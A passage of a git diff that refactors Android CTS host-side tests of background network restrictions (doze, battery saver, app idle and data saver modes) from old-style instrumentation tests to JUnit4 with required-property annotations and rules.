+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractBatterySaverModeTestCase.java
@@ -16,20 +16,22 @@
 
 package com.android.cts.net.hostside;
 
-import android.text.TextUtils;
-import android.util.Log;
+import static com.android.cts.net.hostside.Property.BATTERY_SAVER_MODE;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
 
 /**
  * Base class for metered and non-metered Battery Saver Mode tests.
  */
+@RequiredProperties({BATTERY_SAVER_MODE})
 abstract class AbstractBatterySaverModeTestCase extends AbstractRestrictBackgroundNetworkTestCase {
 
-    @Override
-    protected final void setUp() throws Exception {
+    @Before
+    public final void setUp() throws Exception {
         super.setUp();
 
-        if (!isSupported()) return;
-
         // Set initial state.
         removePowerSaveModeWhitelist(TEST_APP2_PKG);
         removePowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
@@ -38,55 +40,15 @@
         registerBroadcastReceiver();
     }
 
-    @Override
-    protected final void tearDown() throws Exception {
+    @After
+    public final void tearDown() throws Exception {
         super.tearDown();
 
-        if (!isSupported()) return;
-
-        try {
-            tearDownMeteredNetwork();
-        } finally {
-            setBatterySaverMode(false);
-        }
+        setBatterySaverMode(false);
     }
 
-    @Override
-    protected boolean isSupported() throws Exception {
-        String unSupported = "";
-        if (!isDozeModeEnabled()) {
-            unSupported += "Doze mode,";
-        }
-        if (!isBatterySaverSupported()) {
-            unSupported += "Battery saver mode,";
-        }
-        if (!TextUtils.isEmpty(unSupported)) {
-            Log.i(TAG, "Skipping " + getClass() + "." + getName()
-                    + "() because device does not support " + unSupported);
-            return false;
-        }
-        return true;
-    }
-
-    /**
-     * Sets the initial (non) metered network state.
-     *
-     * <p>By default is empty - it's up to subclasses to override.
-     */
-    protected void setUpMeteredNetwork() throws Exception {
-    }
-
-    /**
-     * Resets the (non) metered network state.
-     *
-     * <p>By default is empty - it's up to subclasses to override.
-     */
-    protected void tearDownMeteredNetwork() throws Exception {
-    }
-
+    @Test
     public void testBackgroundNetworkAccess_enabled() throws Exception {
-        if (!isSupported()) return;
-
         setBatterySaverMode(true);
         assertBackgroundNetworkAccess(false);
 
@@ -118,9 +80,8 @@
         assertBackgroundNetworkAccess(false);
     }
 
+    @Test
     public void testBackgroundNetworkAccess_whitelisted() throws Exception {
-        if (!isSupported()) return;
-
         setBatterySaverMode(true);
         assertBackgroundNetworkAccess(false);
 
@@ -140,9 +101,8 @@
         assertBackgroundNetworkAccess(false);
     }
 
+    @Test
     public void testBackgroundNetworkAccess_disabled() throws Exception {
-        if (!isSupported()) return;
-
         assertBackgroundNetworkAccess(true);
 
         assertsForegroundAlwaysHasNetworkAccess();
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractDozeModeTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractDozeModeTestCase.java
index f20f1d1..6f32c56 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractDozeModeTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractDozeModeTestCase.java
@@ -16,20 +16,25 @@
 
 package com.android.cts.net.hostside;
 
+import static com.android.cts.net.hostside.Property.DOZE_MODE;
+import static com.android.cts.net.hostside.Property.NOT_LOW_RAM_DEVICE;
+
 import android.os.SystemClock;
-import android.util.Log;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
 
 /**
  * Base class for metered and non-metered Doze Mode tests.
  */
+@RequiredProperties({DOZE_MODE})
 abstract class AbstractDozeModeTestCase extends AbstractRestrictBackgroundNetworkTestCase {
 
-    @Override
-    protected final void setUp() throws Exception {
+    @Before
+    public final void setUp() throws Exception {
         super.setUp();
 
-        if (!isSupported()) return;
-
         // Set initial state.
         removePowerSaveModeWhitelist(TEST_APP2_PKG);
         removePowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
@@ -38,48 +43,15 @@
         registerBroadcastReceiver();
     }
 
-    @Override
-    protected final void tearDown() throws Exception {
+    @After
+    public final void tearDown() throws Exception {
         super.tearDown();
 
-        if (!isSupported()) return;
-
-        try {
-            tearDownMeteredNetwork();
-        } finally {
-            setDozeMode(false);
-        }
+        setDozeMode(false);
     }
 
-    @Override
-    protected boolean isSupported() throws Exception {
-        boolean supported = isDozeModeEnabled();
-        if (!supported) {
-            Log.i(TAG, "Skipping " + getClass() + "." + getName()
-                    + "() because device does not support Doze Mode");
-        }
-        return supported;
-    }
-
-    /**
-     * Sets the initial (non) metered network state.
-     *
-     * <p>By default is empty - it's up to subclasses to override.
-     */
-    protected void setUpMeteredNetwork() throws Exception {
-    }
-
-    /**
-     * Resets the (non) metered network state.
-     *
-     * <p>By default is empty - it's up to subclasses to override.
-     */
-    protected void tearDownMeteredNetwork() throws Exception {
-    }
-
+    @Test
     public void testBackgroundNetworkAccess_enabled() throws Exception {
-        if (!isSupported()) return;
-
         setDozeMode(true);
         assertBackgroundNetworkAccess(false);
 
@@ -96,9 +68,8 @@
         assertBackgroundNetworkAccess(false);
     }
 
+    @Test
     public void testBackgroundNetworkAccess_whitelisted() throws Exception {
-        if (!isSupported()) return;
-
         setDozeMode(true);
         assertBackgroundNetworkAccess(false);
 
@@ -118,19 +89,18 @@
         assertBackgroundNetworkAccess(false);
     }
 
+    @Test
     public void testBackgroundNetworkAccess_disabled() throws Exception {
-        if (!isSupported()) return;
-
         assertBackgroundNetworkAccess(true);
 
         assertsForegroundAlwaysHasNetworkAccess();
         assertBackgroundNetworkAccess(true);
     }
 
+    @RequiredProperties({NOT_LOW_RAM_DEVICE})
+    @Test
     public void testBackgroundNetworkAccess_enabledButWhitelistedOnNotificationAction()
             throws Exception {
-        if (!isSupported() || isLowRamDevice()) return;
-
         setPendingIntentWhitelistDuration(NETWORK_TIMEOUT_MS);
         try {
             registerNotificationListenerService();
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
index 40d7e34..529b640 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
@@ -17,14 +17,22 @@
 package com.android.cts.net.hostside;
 
 import static android.net.ConnectivityManager.ACTION_RESTRICT_BACKGROUND_CHANGED;
-import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_DISABLED;
-import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_ENABLED;
-import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_WHITELISTED;
 import static android.os.BatteryManager.BATTERY_PLUGGED_AC;
 import static android.os.BatteryManager.BATTERY_PLUGGED_USB;
 import static android.os.BatteryManager.BATTERY_PLUGGED_WIRELESS;
 
-import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.executeShellCommand;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.getConnectivityManager;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.getContext;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.getInstrumentation;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.getWifiManager;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.isDozeModeSupported;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.restrictBackgroundValueToString;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.app.ActivityManager;
 import android.app.Instrumentation;
@@ -34,9 +42,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
-import android.content.pm.PackageManager;
 import android.net.ConnectivityManager;
-import android.net.NetworkInfo;
 import android.net.NetworkInfo.DetailedState;
 import android.net.NetworkInfo.State;
 import android.net.wifi.WifiManager;
@@ -44,24 +50,27 @@
 import android.os.Binder;
 import android.os.Bundle;
 import android.os.SystemClock;
-import android.os.SystemProperties;
 import android.provider.Settings;
 import android.service.notification.NotificationListenerService;
-import android.test.InstrumentationTestCase;
-import android.text.TextUtils;
 import android.util.Log;
 
-import com.android.compatibility.common.util.BatteryUtils;
+import org.junit.Rule;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
 
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
 
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 /**
  * Superclass for tests related to background network restrictions.
  */
-abstract class AbstractRestrictBackgroundNetworkTestCase extends InstrumentationTestCase {
-    protected static final String TAG = "RestrictBackgroundNetworkTests";
+@RunWith(AndroidJUnit4.class)
+public abstract class AbstractRestrictBackgroundNetworkTestCase {
+    public static final String TAG = "RestrictBackgroundNetworkTests";
 
     protected static final String TEST_PKG = "com.android.cts.net.hostside";
     protected static final String TEST_APP2_PKG = "com.android.cts.net.hostside.app2";
@@ -98,8 +107,6 @@
     static final int NETWORK_TIMEOUT_MS = 15 * SECOND_IN_MS;
     private static int PROCESS_STATE_FOREGROUND_SERVICE;
 
-    private static final int PROCESS_STATE_TOP = 2;
-
     private static final String KEY_NETWORK_STATE_OBSERVER = TEST_PKG + ".observer";
 
     protected static final int TYPE_COMPONENT_ACTIVTIY = 0;
@@ -126,22 +133,23 @@
     protected WifiManager mWfm;
     protected int mUid;
     private int mMyUid;
-    private String mMeteredWifi;
     private MyServiceClient mServiceClient;
     private String mDeviceIdleConstantsSetting;
-    private boolean mSupported;
     private boolean mIsLocationOn;
 
-    @Override
+    @Rule
+    public final RuleChain mRuleChain = RuleChain.outerRule(new DumpOnFailureRule())
+            .around(new RequiredPropertiesRule())
+            .around(new MeterednessConfigurationRule());
+
     protected void setUp() throws Exception {
-        super.setUp();
 
         PROCESS_STATE_FOREGROUND_SERVICE = (Integer) ActivityManager.class
                 .getDeclaredField("PROCESS_STATE_FOREGROUND_SERVICE").get(null);
         mInstrumentation = getInstrumentation();
-        mContext = mInstrumentation.getContext();
-        mCm = (ConnectivityManager) mContext.getSystemService(Context.CONNECTIVITY_SERVICE);
-        mWfm = (WifiManager) mContext.getSystemService(Context.WIFI_SERVICE);
+        mContext = getContext();
+        mCm = getConnectivityManager();
+        mWfm = getWifiManager();
         mUid = getUid(TEST_APP2_PKG);
         mMyUid = getUid(mContext.getPackageName());
         mServiceClient = new MyServiceClient(mContext);
@@ -151,30 +159,18 @@
         if (!mIsLocationOn) {
             enableLocation();
         }
-        mSupported = setUpActiveNetworkMeteringState();
         setAppIdle(false);
 
-        Log.i(TAG, "Apps status on " + getName() + ":\n"
+        Log.i(TAG, "Apps status:\n"
                 + "\ttest app: uid=" + mMyUid + ", state=" + getProcessStateByUid(mMyUid) + "\n"
                 + "\tapp2: uid=" + mUid + ", state=" + getProcessStateByUid(mUid));
+    }
 
-        // app_idle_constants set in NetPolicyTestsPreparer.setUp() is not always sucessful (suspect
-        // timing issue), here we set it again to make sure.
-        final String appIdleConstants = "parole_duration=0,stable_charging_threshold=0";
-        executeShellCommand("settings put global app_idle_constants " + appIdleConstants);
-        final String currentConstants =
-                executeShellCommand("settings get global app_idle_constants");
-        assertEquals(appIdleConstants, currentConstants);
-   }
-
-    @Override
     protected void tearDown() throws Exception {
         if (!mIsLocationOn) {
             disableLocation();
         }
         mServiceClient.unbind();
-
-        super.tearDown();
     }
 
     private void enableLocation() throws Exception {
@@ -259,23 +255,8 @@
     protected void assertRestrictBackgroundStatus(int expectedStatus) throws Exception {
         final String status = mServiceClient.getRestrictBackgroundStatus();
         assertNotNull("didn't get API status from app2", status);
-        final String actualStatus = toString(Integer.parseInt(status));
-        assertEquals("wrong status", toString(expectedStatus), actualStatus);
-    }
-
-    protected void assertMyRestrictBackgroundStatus(int expectedStatus) throws Exception {
-        final int actualStatus = mCm.getRestrictBackgroundStatus();
-        assertEquals("Wrong status", toString(expectedStatus), toString(actualStatus));
-    }
-
-    protected boolean isMyRestrictBackgroundStatus(int expectedStatus) throws Exception {
-        final int actualStatus = mCm.getRestrictBackgroundStatus();
-        if (expectedStatus != actualStatus) {
-            Log.d(TAG, "Expected: " + toString(expectedStatus)
-                    + " but actual: " + toString(actualStatus));
-            return false;
-        }
-        return true;
+        assertEquals(restrictBackgroundValueToString(expectedStatus),
+                restrictBackgroundValueToString(Integer.parseInt(status)));
     }
 
     protected void assertBackgroundNetworkAccess(boolean expectAllowed) throws Exception {
@@ -298,28 +279,6 @@
     }
 
     /**
-     * Whether this device suport this type of test.
-     *
-     * <p>Should be overridden when necessary (but always calling
-     * {@code super.isSupported()} first), and explicitly used before each test
-     * Example:
-     *
-     * <pre><code>
-     * public void testSomething() {
-     *    if (!isSupported()) return;
-     * </code></pre>
-     *
-     * @return {@code true} by default.
-     */
-    protected boolean isSupported() throws Exception {
-        return mSupported;
-    }
-
-    protected boolean isBatterySaverSupported() {
-        return BatteryUtils.isBatterySaverSupported();
-    }
-
-    /**
      * Asserts that an app always have access while on foreground or running a foreground service.
      *
      * <p>This method will launch an activity and a foreground service to make the assertion, but
@@ -388,23 +347,6 @@
     }
 
     /**
-     * As per CDD requirements, if the device doesn't support data saver mode then
-     * ConnectivityManager.getRestrictBackgroundStatus() will always return
-     * RESTRICT_BACKGROUND_STATUS_DISABLED. So, enable the data saver mode and check if
-     * ConnectivityManager.getRestrictBackgroundStatus() for an app in background returns
-     * RESTRICT_BACKGROUND_STATUS_DISABLED or not.
-     */
-    protected boolean isDataSaverSupported() throws Exception {
-        assertMyRestrictBackgroundStatus(RESTRICT_BACKGROUND_STATUS_DISABLED);
-        try {
-            setRestrictBackground(true);
-            return !isMyRestrictBackgroundStatus(RESTRICT_BACKGROUND_STATUS_DISABLED);
-        } finally {
-            setRestrictBackground(false);
-        }
-    }
-
-    /**
      * Returns whether an app state should be considered "background" for restriction purposes.
      */
     protected boolean isBackground(int state) {
@@ -443,40 +385,10 @@
             // Exponential back-off.
             timeoutMs = Math.min(timeoutMs*2, NETWORK_TIMEOUT_MS);
         }
-        dumpOnFailure();
         fail("Invalid state for expectAvailable=" + expectAvailable + " after " + maxTries
                 + " attempts.\nLast error: " + error);
     }
 
-    private void dumpOnFailure() throws Exception {
-        dumpAllNetworkRules();
-        Log.d(TAG, "Usagestats dump: " + getUsageStatsDump());
-        executeShellCommand("settings get global app_idle_constants");
-    }
-
-    private void dumpAllNetworkRules() throws Exception {
-        final String networkManagementDump = runShellCommand(mInstrumentation,
-                "dumpsys network_management").trim();
-        final String networkPolicyDump = runShellCommand(mInstrumentation,
-                "dumpsys netpolicy").trim();
-        TextUtils.SimpleStringSplitter splitter = new TextUtils.SimpleStringSplitter('\n');
-        splitter.setString(networkManagementDump);
-        String next;
-        Log.d(TAG, ">>> Begin network_management dump");
-        while (splitter.hasNext()) {
-            next = splitter.next();
-            Log.d(TAG, next);
-        }
-        Log.d(TAG, "<<< End network_management dump");
-        splitter.setString(networkPolicyDump);
-        Log.d(TAG, ">>> Begin netpolicy dump");
-        while (splitter.hasNext()) {
-            next = splitter.next();
-            Log.d(TAG, next);
-        }
-        Log.d(TAG, "<<< End netpolicy dump");
-    }
-
     /**
      * Checks whether the network is available as expected.
      *
@@ -528,22 +440,10 @@
         return errors.toString();
     }
 
-    protected boolean isLowRamDevice() {
-        final ActivityManager am = (ActivityManager) mContext.getSystemService(
-            Context.ACTIVITY_SERVICE);
-        return am.isLowRamDevice();
-    }
-
-    protected String executeShellCommand(String command) throws Exception {
-        final String result = runShellCommand(mInstrumentation, command).trim();
-        if (DEBUG) Log.d(TAG, "Command '" + command + "' returned '" + result + "'");
-        return result;
-    }
-
     /**
      * Runs a Shell command which is not expected to generate output.
      */
-    protected void executeSilentShellCommand(String command) throws Exception {
+    protected void executeSilentShellCommand(String command) {
         final String result = executeShellCommand(command);
         assertTrue("Command '" + command + "' failed: " + result, result.trim().isEmpty());
     }
@@ -572,10 +472,6 @@
         });
     }
 
-    protected void assertDelayedShellCommand(String command, ExpectResultChecker checker)
-            throws Exception {
-        assertDelayedShellCommand(command, 5, 1, checker);
-    }
     protected void assertDelayedShellCommand(String command, int maxTries, int napTimeSeconds,
             ExpectResultChecker checker) throws Exception {
         String result = "";
@@ -592,159 +488,6 @@
                 + " attempts. Last result: '" + result + "'");
     }
 
-    /**
-     * Sets the initial metering state for the active network.
-     *
-     * <p>It's called on setup and by default does nothing - it's up to the
-     * subclasses to override.
-     *
-     * @return whether the tests in the subclass are supported on this device.
-     */
-    protected boolean setUpActiveNetworkMeteringState() throws Exception {
-        return true;
-    }
-
-    /**
-     * Makes sure the active network is not metered.
-     *
-     * <p>If the device does not supoprt un-metered networks (for example if it
-     * only has cellular data but not wi-fi), it should return {@code false};
-     * otherwise, it should return {@code true} (or fail if the un-metered
-     * network could not be set).
-     *
-     * @return {@code true} if the network is now unmetered.
-     */
-    protected boolean setUnmeteredNetwork() throws Exception {
-        final NetworkInfo info = mCm.getActiveNetworkInfo();
-        assertNotNull("Could not get active network", info);
-        if (!mCm.isActiveNetworkMetered()) {
-            Log.d(TAG, "Active network is not metered: " + info);
-        } else if (info.getType() == ConnectivityManager.TYPE_WIFI) {
-            Log.i(TAG, "Setting active WI-FI network as not metered: " + info );
-            setWifiMeteredStatus(false);
-        } else {
-            Log.d(TAG, "Active network cannot be set to un-metered: " + info);
-            return false;
-        }
-        assertActiveNetworkMetered(false); // Sanity check.
-        return true;
-    }
-
-    /**
-     * Enables metering on the active network if supported.
-     *
-     * <p>If the device does not support metered networks it should return
-     * {@code false}; otherwise, it should return {@code true} (or fail if the
-     * metered network could not be set).
-     *
-     * @return {@code true} if the network is now metered.
-     */
-    protected boolean setMeteredNetwork() throws Exception {
-        final NetworkInfo info = mCm.getActiveNetworkInfo();
-        final boolean metered = mCm.isActiveNetworkMetered();
-        if (metered) {
-            Log.d(TAG, "Active network already metered: " + info);
-            return true;
-        } else if (info.getType() != ConnectivityManager.TYPE_WIFI) {
-            Log.w(TAG, "Active network does not support metering: " + info);
-            return false;
-        } else {
-            Log.w(TAG, "Active network not metered: " + info);
-        }
-        final String netId = setWifiMeteredStatus(true);
-
-        // Set flag so status is reverted on resetMeteredNetwork();
-        mMeteredWifi = netId;
-        // Sanity check.
-        assertWifiMeteredStatus(netId, true);
-        assertActiveNetworkMetered(true);
-        return true;
-    }
-
-    /**
-     * Resets the device metering state to what it was before the test started.
-     *
-     * <p>This reverts any metering changes made by {@code setMeteredNetwork}.
-     */
-    protected void resetMeteredNetwork() throws Exception {
-        if (mMeteredWifi != null) {
-            Log.i(TAG, "resetMeteredNetwork(): SID '" + mMeteredWifi
-                    + "' was set as metered by test case; resetting it");
-            setWifiMeteredStatus(mMeteredWifi, false);
-            assertActiveNetworkMetered(false); // Sanity check.
-        }
-    }
-
-    private void assertActiveNetworkMetered(boolean expected) throws Exception {
-        final int maxTries = 5;
-        NetworkInfo info = null;
-        for (int i = 1; i <= maxTries; i++) {
-            info = mCm.getActiveNetworkInfo();
-            if (info == null) {
-                Log.v(TAG, "No active network info on attempt #" + i
-                        + "; sleeping 1s before polling again");
-            } else if (mCm.isActiveNetworkMetered() != expected) {
-                Log.v(TAG, "Wrong metered status for active network " + info + "; expected="
-                        + expected + "; sleeping 1s before polling again");
-            } else {
-                break;
-            }
-            Thread.sleep(SECOND_IN_MS);
-        }
-        assertNotNull("No active network after " + maxTries + " attempts", info);
-        assertEquals("Wrong metered status for active network " + info, expected,
-                mCm.isActiveNetworkMetered());
-    }
-
-    private String setWifiMeteredStatus(boolean metered) throws Exception {
-        // We could call setWifiEnabled() here, but it might take sometime to be in a consistent
-        // state (for example, if one of the saved network is not properly authenticated), so it's
-        // better to let the hostside test take care of that.
-        assertTrue("wi-fi is disabled", mWfm.isWifiEnabled());
-        // TODO: if it's not guaranteed the device has wi-fi, we need to change the tests
-        // to make the actual verification of restrictions optional.
-        final String ssid = mWfm.getConnectionInfo().getSSID();
-        return setWifiMeteredStatus(ssid, metered);
-    }
-
-    private String setWifiMeteredStatus(String ssid, boolean metered) throws Exception {
-        assertNotNull("null SSID", ssid);
-        final String netId = ssid.trim().replaceAll("\"", ""); // remove quotes, if any.
-        assertFalse("empty SSID", ssid.isEmpty());
-
-        Log.i(TAG, "Setting wi-fi network " + netId + " metered status to " + metered);
-        final String setCommand = "cmd netpolicy set metered-network " + netId + " " + metered;
-        assertDelayedShellCommand(setCommand, "");
-
-        return netId;
-    }
-
-    private void assertWifiMeteredStatus(String netId, boolean status) throws Exception {
-        final String command = "cmd netpolicy list wifi-networks";
-        final String expectedLine = netId + ";" + status;
-        assertDelayedShellCommand(command, new ExpectResultChecker() {
-
-            @Override
-            public boolean isExpected(String result) {
-                return result.contains(expectedLine);
-            }
-
-            @Override
-            public String getExpected() {
-                return "line containing " + expectedLine;
-            }
-        });
-    }
-
-    protected void setRestrictBackground(boolean enabled) throws Exception {
-        executeShellCommand("cmd netpolicy set restrict-background " + enabled);
-        final String output = executeShellCommand("cmd netpolicy get restrict-background ");
-        final String expectedSuffix = enabled ? "enabled" : "disabled";
-        // TODO: use MoreAsserts?
-        assertTrue("output '" + output + "' should end with '" + expectedSuffix + "'",
-                output.endsWith(expectedSuffix));
-      }
-
     protected void addRestrictBackgroundWhitelist(int uid) throws Exception {
         executeShellCommand("cmd netpolicy add restrict-background-whitelist " + uid);
         assertRestrictBackgroundWhitelist(uid, true);
@@ -924,7 +667,7 @@
 
     protected void setDozeMode(boolean enabled) throws Exception {
         // Sanity check, since tests should check beforehand....
-        assertTrue("Device does not support Doze Mode", isDozeModeEnabled());
+        assertTrue("Device does not support Doze Mode", isDozeModeSupported());
 
         Log.i(TAG, "Setting Doze Mode to " + enabled);
         if (enabled) {
@@ -944,43 +687,16 @@
         assertDelayedShellCommand("dumpsys deviceidle get deep", enabled ? "IDLE" : "ACTIVE");
     }
 
-    protected boolean isDozeModeEnabled() throws Exception {
-        final String result = executeShellCommand("cmd deviceidle enabled deep").trim();
-        return result.equals("1");
-    }
-
     protected void setAppIdle(boolean enabled) throws Exception {
         Log.i(TAG, "Setting app idle to " + enabled);
         executeSilentShellCommand("am set-inactive " + TEST_APP2_PKG + " " + enabled );
         assertAppIdle(enabled); // Sanity check
     }
 
-    private String getUsageStatsDump() throws Exception {
-        final String output = runShellCommand(mInstrumentation, "dumpsys usagestats").trim();
-        final StringBuilder sb = new StringBuilder();
-        final TextUtils.SimpleStringSplitter splitter = new TextUtils.SimpleStringSplitter('\n');
-        splitter.setString(output);
-        String str;
-        while (splitter.hasNext()) {
-            str = splitter.next();
-            if (str.contains("package=")
-                    && !str.contains(TEST_PKG) && !str.contains(TEST_APP2_PKG)) {
-                continue;
-            }
-            if (str.trim().startsWith("config=") || str.trim().startsWith("time=")) {
-                continue;
-            }
-            sb.append(str).append('\n');
-        }
-        return sb.toString();
-    }
-
     protected void assertAppIdle(boolean enabled) throws Exception {
         try {
             assertDelayedShellCommand("am get-inactive " + TEST_APP2_PKG, 15, 2, "Idle=" + enabled);
         } catch (Throwable e) {
-            Log.d(TAG, "UsageStats dump:\n" + getUsageStatsDump());
-            executeShellCommand("settings get global app_idle_constants");
             throw e;
         }
     }
@@ -1061,12 +777,10 @@
                         // App didn't come to foreground when the activity is started, so try again.
                         assertForegroundNetworkAccess();
                     } else {
-                        dumpOnFailure();
                         fail("Network is not available for app2 (" + mUid + "): " + errors[0]);
                     }
                 }
             } else {
-                dumpOnFailure();
                 fail("Timed out waiting for network availability status from app2 (" + mUid + ")");
             }
         } else {
@@ -1150,19 +864,6 @@
         }
     }
 
-    private String toString(int status) {
-        switch (status) {
-            case RESTRICT_BACKGROUND_STATUS_DISABLED:
-                return "DISABLED";
-            case RESTRICT_BACKGROUND_STATUS_WHITELISTED:
-                return "WHITELISTED";
-            case RESTRICT_BACKGROUND_STATUS_ENABLED:
-                return "ENABLED";
-            default:
-                return "UNKNOWN_STATUS_" + status;
-        }
-    }
-
     private ProcessState getProcessStateByUid(int uid) throws Exception {
         return new ProcessState(executeShellCommand("cmd activity get-uid-state " + uid));
     }
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AppIdleMeteredTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AppIdleMeteredTest.java
index 622d993..f1858d6 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AppIdleMeteredTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AppIdleMeteredTest.java
@@ -16,15 +16,8 @@
 
 package com.android.cts.net.hostside;
 
+import static com.android.cts.net.hostside.Property.METERED_NETWORK;
+
+@RequiredProperties({METERED_NETWORK})
 public class AppIdleMeteredTest extends AbstractAppIdleTestCase {
-
-    @Override
-    protected boolean setUpActiveNetworkMeteringState() throws Exception {
-        return setMeteredNetwork();
-    }
-
-    @Override
-    protected void tearDownMeteredNetwork() throws Exception {
-        resetMeteredNetwork();
-    }
 }
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AppIdleNonMeteredTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AppIdleNonMeteredTest.java
index bde71f9..e737a6d 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AppIdleNonMeteredTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AppIdleNonMeteredTest.java
@@ -16,9 +16,8 @@
 
 package com.android.cts.net.hostside;
 
+import static com.android.cts.net.hostside.Property.NON_METERED_NETWORK;
+
+@RequiredProperties({NON_METERED_NETWORK})
 public class AppIdleNonMeteredTest extends AbstractAppIdleTestCase {
-    @Override
-    protected boolean setUpActiveNetworkMeteringState() throws Exception {
-        return setUnmeteredNetwork();
-    }
 }
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/BatterySaverModeMeteredTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/BatterySaverModeMeteredTest.java
index 3071cfe..c78ca2e 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/BatterySaverModeMeteredTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/BatterySaverModeMeteredTest.java
@@ -16,15 +16,8 @@
 
 package com.android.cts.net.hostside;
 
+import static com.android.cts.net.hostside.Property.METERED_NETWORK;
+
+@RequiredProperties({METERED_NETWORK})
 public class BatterySaverModeMeteredTest extends AbstractBatterySaverModeTestCase {
-
-    @Override
-    protected boolean setUpActiveNetworkMeteringState() throws Exception {
-        return setMeteredNetwork();
-    }
-
-    @Override
-    protected void tearDownMeteredNetwork() throws Exception {
-        resetMeteredNetwork();
-    }
 }
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/BatterySaverModeNonMeteredTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/BatterySaverModeNonMeteredTest.java
index 6d3076f..fb52a54 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/BatterySaverModeNonMeteredTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/BatterySaverModeNonMeteredTest.java
@@ -16,10 +16,9 @@
 
 package com.android.cts.net.hostside;
 
-public class BatterySaverModeNonMeteredTest extends AbstractBatterySaverModeTestCase {
 
-    @Override
-    protected boolean setUpActiveNetworkMeteringState() throws Exception {
-        return setUnmeteredNetwork();
-    }
+import static com.android.cts.net.hostside.Property.NON_METERED_NETWORK;
+
+@RequiredProperties({NON_METERED_NETWORK})
+public class BatterySaverModeNonMeteredTest extends AbstractBatterySaverModeTestCase {
 }
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
index cfe6a73..aa2c914 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
@@ -20,24 +20,33 @@
 import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_ENABLED;
 import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_WHITELISTED;
 
-import android.util.Log;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.setRestrictBackground;
+import static com.android.cts.net.hostside.Property.DATA_SAVER_MODE;
+import static com.android.cts.net.hostside.Property.METERED_NETWORK;
+import static com.android.cts.net.hostside.Property.NO_DATA_SAVER_MODE;
+
+import static org.junit.Assert.fail;
 
 import com.android.compatibility.common.util.CddTest;
 
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import androidx.test.filters.LargeTest;
+
+@RequiredProperties({DATA_SAVER_MODE, METERED_NETWORK})
+@LargeTest
 public class DataSaverModeTest extends AbstractRestrictBackgroundNetworkTestCase {
 
     private static final String[] REQUIRED_WHITELISTED_PACKAGES = {
         "com.android.providers.downloads"
     };
 
-    private boolean mIsDataSaverSupported;
-
-    @Override
+    @Before
     public void setUp() throws Exception {
         super.setUp();
 
-        mIsDataSaverSupported = isDataSaverSupported();
-
         // Set initial state.
         setRestrictBackground(false);
         removeRestrictBackgroundWhitelist(mUid);
@@ -47,36 +56,15 @@
         assertRestrictBackgroundChangedReceived(0);
    }
 
-    @Override
-    protected void tearDown() throws Exception {
+    @After
+    public void tearDown() throws Exception {
         super.tearDown();
 
-        if (!isSupported()) return;
-
-        try {
-            resetMeteredNetwork();
-        } finally {
-            setRestrictBackground(false);
-        }
+        setRestrictBackground(false);
     }
 
-    @Override
-    protected boolean setUpActiveNetworkMeteringState() throws Exception {
-        return setMeteredNetwork();
-    }
-
-    @Override
-    protected boolean isSupported() throws Exception {
-        if (!mIsDataSaverSupported) {
